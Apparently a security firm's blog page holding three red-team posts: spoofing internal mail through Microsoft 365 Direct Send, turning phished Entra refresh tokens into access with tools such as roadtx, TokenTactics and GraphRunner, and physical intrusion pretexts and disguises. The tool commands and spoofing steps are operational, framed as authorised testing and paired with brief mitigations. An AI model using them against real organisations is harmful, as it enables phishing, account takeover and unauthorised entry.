Direct Send: The Phishing Vector You May Have Missed

During a recent red team engagement, we uncovered an unexpected gap in a client’s Microsoft 365 mail flow. While testing external ingress routes, we found that their Exchange Online Protection (EOP) service would happily accept unauthenticated SMTP traffic, a behaviour commonly referred to as Direct Send.

Direct Send is a method that allows devices and applications (like printers, scanners, or line-of-business apps) to send email through Microsoft 365 without authentication, as long as the email is sent to recipients within your own Microsoft 365 organisation.

Direct Send isn’t a new phishing vector; it’s been around for years. The technique has long been known to red teamers and attackers alike, primarily because of how it allows email delivery without authentication as long as the message originates from the right region and targets an accepted domain. What makes it relevant today isn’t novelty, but persistence: many organisations still overlook it, and it continues to crop up during assessments as a way to get mail delivered that looks like it came from inside the tenant.

The Basics

By walking through a simple SMTP handshake (EHLO → MAIL FROM → RCPT TO), we were able to demonstrate that spoofed internal addresses could be accepted by the tenant’s mail servers, and this could be abused by sending phishing emails.

From the perspective of an unauthenticated external attacker, the goal is simple:

Can I talk directly to your tenant’s mail servers without logging in or being on your network?

To simulate this, we connected straight to the organisation’s MX records (the public-facing mail exchangers published in DNS) via telnet. These are the same servers that accept inbound email from the internet. These are smart hosts created with the default Exchange Online instance and are usually found on

company-com[.]mail[.]protection[.]outlook[.]com

Once connected on port 25 (SMTP), we ran through the initial stages of a conversation that any mail server expects:

EHLO attacker.example – introducing ourselves.

MAIL FROM:<spoofed.internal@yourdomain.com>  - pretending to be a trusted sender inside the organisation.

RCPT TO:<target.user@yourdomain.com> - nominating a real employee as the recipient.

At this point, if the server accepts both commands without complaint, we’ve already learned something critical: the tenant is prepared to relay mail as if it came from itself, without any authentication. We deliberately stopped at this point before the DATA command (which would deliver content). This ensures no email was actually sent.... Yet.

From an attacker’s view, that’s all the encouragement they’d need. They now know they can attempt to deliver spoofed phishing messages that appear internal, greatly increasing the chance of user trust.

Some Caveats

When testing Direct Send, there are a few practical issues worth keeping in mind:

• Residential IP addresses are often blocked instantly by SPAMHAUS, making them unreliable for testing. Below is a response you will see if this is the case.

The server response was: 5.7.1 Service unavailable, Client host [x.x.x.x] blocked using Spamhaus. To request removal from this list see https://www.spamhaus[.]org/query

• Regional mismatches can cause problems. For example, connecting from the UK into a European ingress point (like Oslo) may trigger an ATTR35 error (wrong Office 365 region).

451 4.4.62 Mail sent to the wrong Office 365 region. ATTR35.

• Cloud environments (Azure VMs, Azure Cloud Shell, and many VPS providers) generally block outbound port 25, so they’re not viable for Direct Send.

  
  

To avoid ATTR35 we needed an egress IP in the same Office 365 region as the tenant. I determined that region by analysing message headers from benign OSINT emails, the EHLO response and the PTR/reverseDNS pointed to Oslo (Norway).

I used Microsoft's own Message Header Analyser to do this.

Here is a sample of the Antispam Headers disclosing location:

HELO/EHLO String
OSPPR0XXXXXX[.]outbound[.]protection[.]outlook[.]com
PTR Record
mail-norwayeastazlpXXXXXXX[.]outbound[.]protection[.]outlook[.]com

After switching my exit node to an IP from that region via VPN, the ATTR35 routing rejection disappeared.

Another key observation: tenants with DMARC set to "none" were far more permissive. Where policies like p=quarantine were present, spoofed messages often landed in quarantine instead of inboxes.

From POC to delivery

With everything in place, I wrote a PowerShell script that uses .NET classes like System.Net.Mail.MailMessage to send emails. This approach allowed me to format the email body in HTML.

The script worked against a list of recipients, and we built in a delay between sends to avoid overwhelming the mail server. Without throttling, we quickly hit errors like:

The server response was: 4.7.500 Server busy. Please try again later

By slowing things down, delivery became far more reliable and messages consistently were sent to recipients’ inboxes rather than being deferred or rejected.

One interesting observation was how bounce-backs were handled. Any undeliverable message, Out of Office or failure notification wasn’t just lost; it went straight to the inbox of the sender account we had specified. This is worth bearing in mind when deciding which mailbox you use as the "from" address, especially in larger campaigns or during Red teams, where you may get a lot of invalid addresses or auto-responses, which could burn the attack vector or campaign.

The messages that were accepted looked very credible, which underscores how convincing Direct Send abuse can be. That said, they’re still subject to the usual anti-phishing controls (spam filters, Safe Links, Safe Attachments, DMARC/DKIM/SPF checks), so you must be deliberate when crafting content. For the Red Team campaign, I fed an HTML file into the PowerShell script as the email body, which made it easy to generate polished, realistic layouts while still keeping the test controlled and non-malicious.

Overall, this exercise was a useful way to understand how PowerShell can be extended with .NET for email automation, and it highlighted some of the practical considerations (like throttling and handling non-delivery reports) that come up when moving from a proof-of-concept to something approaching a production-ready workflow.

Recommendations

Apply a reject-level DMARC policy (p=reject).

Configure the Exchange Admin Center to block direct send.

Closing Thoughts

Direct Send is not sophisticated, but that’s exactly why it persists. Many organisations overlook it, and attackers continue to abuse it. By enforcing strong SPF/DMARC policies and shutting down unnecessary relay paths, defenders can close this gap and make it much harder for spoofed internal messages to reach inboxes.

Not All Tokens Are Created Equal

Entra tokens are authentication tokens issued by Microsoft Entra to enable secure access to Microsoft 365 services and other resources. These tokens are crucial in user and application authentication, allowing access to resources like Microsoft Teams, OneDrive, and SharePoint. Because of the access they grant, Entra tokens have become a desirable target for malicious attackers.

One way an attacker can get a hold of a token is via phishing, abusing the OAuth2.0 Device Authorisation grant process. This process requests a device code from Microsoft and upon entering the code and authenticating with their EntraID account an attacker can obtain a JWT token.

If a victim falls for this successful phish then its possible to retrieve a bearer token.

Bearer Token

Some key elements to point out in the above bearer token that was obtained through this process are as follows:

1. Access Token: which is the actual JWT token. This token is used to authenticate requests to the specified resource.

2. Refresh Token: Used to obtain a new access token without requiring the user to log in again. This is typically valid for a longer period (up to 90 days) and allows for session continuity.

3. _ClientId: The client application that requested the token.

4. isMRRT: denotes that the refresh token is a Multi-Resource Refresh Token (MRRT), allowing it to be used across multiple resources within the same organisation.

5. Resource: the URL for Microsoft Graph API, indicating where this token can be used.

6. expireIn: Specifies the remaining time in seconds before the token expires.

As stated above these tokens are MRRT (Multi Resource Refresh Tokens) which means they are refresh tokens that can be used to obtain an access token for a resource that can be different from the resource for which the MRRT was obtained in the first place. So why does an attacker want these: Well as mentioned earlier these tokens can be used to access various cloud-based services, including Outlook, SharePoint, OneDrive, and Teams, potentially exposing a wealth of sensitive data AND once an MRRT is obtained, it allows access without the need to re-trigger MFA, even if MFA is required for initial login. Some Nice positives for attackers!

Multiple blogs go into more detail on these Tokens so I'm not going to go into too much detail regarding the actual tokens themselves but I will link other blogs at the end if you want to dive deep. However, it's worth stating that Access tokens are designed to expire after a limited duration, typically around one hour. When an access token expires, the client application must acquire a new one to maintain access to protected resources. To do this, the client can either seek authorisation from the resource owner again or utilise a refresh token to request new access tokens, using the original authorisation as a basis. It's the latter of these that we can abuse once we have a refresh token.

In short: Refresh tokens allow you to obtain Access Tokens for multiple resources.

To accomplish this as an attacker we can use a few tools but most notably are TokentacticsV2, GraphRunner, AADInternals and ROADtools. All linked here:

https://github.com/f-bader/TokenTacticsV2

https://github.com/dirkjanm/ROADtools

https://github.com/Gerenios/AADInternals

https://github.com/dafthack/GraphRunner

Once you’ve captured a token through your device code phishing method, you can leverage it to access data across various Microsoft services—such as Azure CLI, MS Graph, Teams, and Outlook—depending on the permissions granted. From there, you can also run enumeration tools like Roadrecon or AzureHound to further explore the environment. This is how:

RoadRecon

As we captured a MS Graph token (windows[.]net) you will have to use tokentactics to refresh to a Graph token with the below:

RefreshTo-GraphToken -refreshToken <0.Aug<SNIP>SWSa> -domain domain.com

Then extract the token

$graphToken.access_token

Use the access token with roadrecon

roadrecon auth --access token <eyJ0hg<SNIP>sh>

Then you can pull data, including Conditional Access policies

roadrecon gather

roadrecon plugin policies

You can also change the FOCI using roadtx depending on what app we are impersonating. For example:

roadtx gettokens --refresh-token "SNIP" -c msteams
roadtx gettokens --refresh-token "SNIP" -c azcli

A list of FOCI client IDs can be found here:

https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv

You can keep refreshing your token with the below:

roadtx gettokens --refresh-token file -c msteams

(Using the 'file' parameter uses .roadtools_auth to pull tokens from to save you pasting string)

Graphrunner

To use the refresh token for graphrunner I do the following

Invoke-RefreshGraphTokens -RefreshToken "<SNIP>" -tenantid "domain.com"

This should write tokens to $tokens with an expiry time

You can view your tokens by checking the $tokens variable

You can also run Invoke-AutoTokenRefresh to refresh them on a regular interval - the default is 5 minutes unless you specify differently

Outlook

You can use token tactics to refresh the Outlook tokens, which you can pass in a Burp request

RefreshTo-OutlookToken -refreshToken <0.Aug<SNIP>SWSa> -domain domain.com

Then extract the tokens

$OutlookToken.access_token
$OutlookToken.refresh_token

Once you have both tokens, open Burpsuite and either create a request using the below or proxy a legitimate request to https://outlook.office.com I have the request saved in a Burp project which I just open when I'm doing this attack.

• Code: will be your refresh token

• id_token: will be your access token

Send the request and you should receive a 302 response.

You can then request in browser and refresh and you should be logged into Outlook.

Azurehound

Azurehound can be run using the graph refresh token

RefreshTo-GraphToken -refreshToken <0.Aug<SNIP>SWSa> -domain domain.com

azurehound -r "0.AVAApQl<SNIP>" list --tenant domain.com -o output.json

Mitigation

You can mitigate this attack by using a Conditional access policy.

Microsoft has detailed how to do this here.

Conclusion

While this technique is not new, I created this blog to both share insights with others and reinforce my own learning. There are excellent resources that delve deeper into this attack, including valuable research from Secureworks. Additionally, Dirk Jan Mollema’s tools and blogs provide brilliant contributions to this area.

https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/

https://github.com/secureworks/family-of-client-ids-research

Understanding the 'Physical' in Red Teaming

Exploring the vast landscape of Red Team training through a simple Google search reveals a plethora of courses and comprehensive documentation, encompassing various aspects of Red Team engagements. These resources typically delve into the intricacies of cybersecurity, penetration testing, and simulated attacks on digital infrastructures. However, amidst this wealth of information, one noticeable gap often exists—the scarcity of training materials that focus on the 'Physical' dimension of Red Teaming.

Addressing physical vulnerabilities is essential for organisations seeking a comprehensive understanding of their overall risk landscape. A successful Red Team must be capable of simulating not only cyber threats but also real-world, physical breaches that could compromise an organisation's security posture.

Nevertheless, recognising and addressing this gap is essential for producing well-rounded Red Team professionals who can assess and fortify an organisation's defenses comprehensively.

What is Physical Penetration Testing?

Physical penetration testing, also known as physical security testing or red teaming, is a type of security assessment that focuses on evaluating the effectiveness of an organisation's physical security measures. Unlike traditional penetration testing, which primarily examines digital systems and networks, physical penetration testing involves testing the physical security controls that protect a company's premises, assets, and personnel.

Considerations

Doing and physical testing requires a thorough pre-engagement phase often done as part of a larger Red Team pre-engagement. This phase in my opinon is the most important phase as you need to identify the needs and objectives of the organisation. Some aspects you need to cover in this phase are:

1. Scoping

2. Rules of engagement

3. Cost

4. Duration

5. Threat Profile/planning

6. Authorisation

Planning and executing a Red Team engagement involves several crucial considerations beyond the scope of the above list. It requires a meticulous approach, with an emphasis on identifying specific goals and objectives that align with the organisation's security concerns. Taking the time to define these goals is paramount, as it sets the foundation for a focused and effective Red Team exercise.

During this phase you will be able to understand the risks an organisation faces and discuss their cost/duration needs to determine the type of testing you will be able to undertake. Any 'Physical' testing will need to be discussed in depth and explicit authorisation given. A red team could last for a prolonged period of time and could include multiple testers, travel expenses, etc.

Threat Profiling

A threat profile in cybersecurity is a comprehensive analysis of potential risks and vulnerabilities that an organisation may face. It includes identifying and assessing various threats, such as malware, phishing, insider attacks, and other cyber threats, along with understanding the potential impact and likelihood of these threats.

Building a threat profile involves the systematic examination of these aspects related to potential threats, including:

• Adversaries: Identifying and understanding potential adversaries who might target the system, such as hackers, competitors, or even insider threats.

• Attack Vectors: Analyzing the different ways adversaries could potentially exploit vulnerabilities. This includes understanding common attack vectors like phishing, social engineering, malware, and more.

• Tactics, Techniques, and Procedures (TTPs): Examining the specific methods and strategies that adversaries may employ during an attack. This helps in creating realistic scenarios for testing the system's defenses.

By creating a threat profile, red teamers can simulate realistic scenarios based on the identified threats, allowing organisations to assess and improve their security measures effectively. The goal is to provide insights that can help the organisation enhance its overall security posture and resilience against potential cyber threats.

Emulating the threat

Once a threat profile has been established, it's the job of the Red team to emulate the threat against in-scope targets. Depending on the threat you are emulating, it will determine whether Physical Testing is to be carried out. Some potential threat scenarios that would enable Physical Testing could include tailgating, theft, malicious employees, vandalism, etc.

Tradecraft

Each threat identified in the Threat Profiling process comes with its own "Tradecraft", representing the Tactics, Techniques, and Procedures (TTPs) identified and to be simulated. Red Team members typically build and apply their unique tradecraft while also incorporating practices commonly used for covert operations, security services. Often, these practices are drawn from the Intelligence community. Refining these skills over time becomes crucial for determining the success or failure of an engagement. The team you employ to provide your Red Team enagement should be comfortable in knowing and applying this "Tradecraft".

What skills do I need to learn?

These are not in any particular order but I believe you need to be competent in these areas.

1. Social Engineering - I believe this area is significant. Social engineering for 'Physical Testing' involves the ability to confidently navigate conversations, persuade and influence individuals, or elicit information from them. You need to be comfortable looking people in the eye and using deception to obtain what you need or where you need to go. For some, this might prove difficult depending on your social skills.

2. OSINT - Using multiple different sources for information gathering, including online, surveillance (following employees to find their local pub), public records, or even dumpster diving (not had to do this yet!). Gathering as much intel as possible to aid in your breach. This could include floor plans, access badges, entry points, hours of operation, their IT company, their electric company, etc.

3. Tooling - This relates to multiple different areas but some would include, label makers for access cards, RFID Stealers, LockPicks, Dropboxes, USB, Covert Cameras, Comms, WIFI, Keyloggers, etc

4. Props - Disguises, Uniforms, Fake passes. As discussed in more detail below you need to be comfortable putting on steel toe cap boots, hard hats, and wearing clothes covered in building dust or a full business suit with a briefcase. The use of props can often get you around the most robust security. Just google 'Trying to get access anywhere just carrying a ladder' and you will find multiple videos of people doing just that.

5. A little bit of creativity - I put this in as sometimes you need to get creative. In that I mean have a good 'Pretext' or 'Cover Story' of who you are going to be, what you are there for, and what are you going to say. For example - It's summer, maybe you pretend to be there to check the AirCon. You would of course already know the company that they use (maybe there is an inspection sticker on the device), and you would be wearing work gear (service personnel do not usually wear polo and jeans) Hi-viz, boots, hard hat (not brand new just purchased from amazon) dirty these up if you have a friend in the trade ask for an old one, I use my sons as he is an electrician, have a pretext - what are you there to do, who is your boss, have a telephone number ready for them to call your boss (in this case another team member).

How do I learn Physical Penetration Testing?

Unless you are in law enforcement or the military, training for physical engagements can be very costly and often involves bespoke training packages put together by former law enforcement or military professionals.

Engaging in the environment of an active Red Team presents a unique and invaluable opportunity for skill development also, allowing individuals to refine their capabilities through real-world testing, often alongside seasoned and experienced members of the team. This hands-on experience goes beyond theoretical knowledge, offering a practical and immersive learning environment that is instrumental in gaining expertise in the field.

Participating in information security (infosec) conferences, such as the renowned Defcon, can prove to be a valuable asset for individuals seeking to broaden their skills in the field. These conferences go beyond traditional learning settings by offering a dynamic and immersive environment that includes specialised areas or villages dedicated to various aspects of cybersecurity, including Physical Testing and Lockpicking.

Some of the team learning new skills at Defcon

Infosec conferences serve as vibrant hubs for cybersecurity professionals, enthusiasts, and experts to converge, share knowledge, and explore cutting-edge developments in the field.

Social Engineering Village at Defcon

Closing Notes

I trust that this post has provided you with a clear understanding of the fundamental concepts behind Physical Penetration Testing.

Physical Testing may not be suitable for everyone. Some individuals find it challenging to interact with others or experience profuse sweating when tasked with walking into a building alone, assuming a different persona.

If you are new to Physical Testing, develop confidence by engaging in conversations with people in your vicinity. Initiate discussions with strangers and set small challenges for yourself to accomplish. This practice will contribute to building your confidence. Additionally, read books on the subject, including those on Human Hacking, Persuasion, and Influence.

Having previously ran many successful engagements I am always learning and looking for new techniques, while keeping my current skills fresh. I will be attending Defcon 32 with the OmniCyber Security Red Team again this year to hopefully pick up some new skills. I have also recently had the privilege of attending bespoke training with ex-military/law enforcement who specialise in overt and covert methods of entry. This bespoke Physical training included surveillance exercises, anti-surveillance, comms, dress & mannerisms, and cover stories.

As a disclaimer, I strongly advise against practicing any techniques mentioned in this post on any organisation or individual without the full authority to do so. Engaging in such activities could potentially lead to legal repercussions and trouble with the authorities.

If you would like more information on this type of testing or wish to explore how our team can assist you in achieving your objectives, please don't hesitate to contact one of our team members at OmniCyber Security.